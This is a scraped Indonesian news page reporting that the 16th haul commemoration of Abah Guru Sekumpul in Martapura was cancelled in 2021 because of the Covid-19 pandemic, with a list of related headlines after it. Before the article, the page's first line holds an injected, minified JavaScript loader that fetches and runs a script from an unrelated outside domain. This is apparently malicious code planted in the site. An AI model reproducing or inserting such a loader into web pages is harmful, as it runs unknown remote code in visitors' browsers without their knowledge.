(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tak ada hiruk pikuk jemaah, tak tampak ribuan orang berkumpul di Sekumpul. Ya, Haul ke-16 Al’alimul Allamah Al’arif Billah Syekh Muhammad Zaini bin Abdul Ghani ditiadakan.
Praktis suasana Jalan Sekumpul hingga Komplek Ar Raudhah –pusat kegiatan haul biasa digelar- terlihat lengang.
Terlihat jelas di pintu masuk gerbang Komplek Ar Raudhah spanduk warna kuning pengumuman kubah masih ditutup. Pintu gerbang ditutup dan dijaga sejumlah petugas di Posko Induk Sekumpul.
Biasanya, sepekan sebelum acara haul ulama besar yang kerap disapa Abah Guru Sekumpul ini penuh sesak di sekitar Komplek Ar Raudhah, bahkan sepanjang jalan Sekumpul.
Pagar depan Komplek Ar Raudhah Sekumpul ditutup, Selasa (16/2/2021). Foto: wahyu
Kondisi pandemi Covid-19, aktivitas kegiatan haul ditiadakan, berdasarkan surat edaran resmi yang dikeluarkan oleh pihak ahli waris Guru Sekumpul. Kedua putra beliau secara resmi menerangkan bahwa haul ke 16 pada tahun 2021 ini ditiadakan.
H Abdel, Petugas Posko Induk Sekumpul mengatakan, berdasarkan surat edaran pemberitahuan resmi yang telah dikeluarkan Musholla Ar Raudhah Sekumpul bahwa acara haul seperti sebelumnya ditiadakan. Surat edaran tersebut, ia mengatakan, bisa memberikan penjelasan kondisi saat ini di komplek Ar Raudhah ataupun Kubah Abah Guru Sekumpul yang masih ditutup.
“Surat edaran dan pemberitahuan resmi haul ditiadakan, mengantisipasi masyarakat ataupun jemaah tidak berusaha datang ke Sekumpul untuk berziarah,†ucap H Abdel saat ditemui Kanalkalimantan.com, Selasa (16/2/2021).
Dia mengatakan, memang masyarakat ada yang berinisiatif mengadakan sendiri acara haul di masing-masing kampung atau lingkungan, namun pihak Sekumpul hanya bisa memberikan imbauan untuk tetap menerapkan protokol kesehatan.
“Dengan ditiadakannya haul ke 16 ini, masyarakat masing-masing berinisiatif mengadakan acara haul, sebenarnya pihak kami tidak menyarankan hal tersebut. Sehingga tanggung jawab mengenai acara haul, kembali kepada masyarakat itu sendiri,†pungkasnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.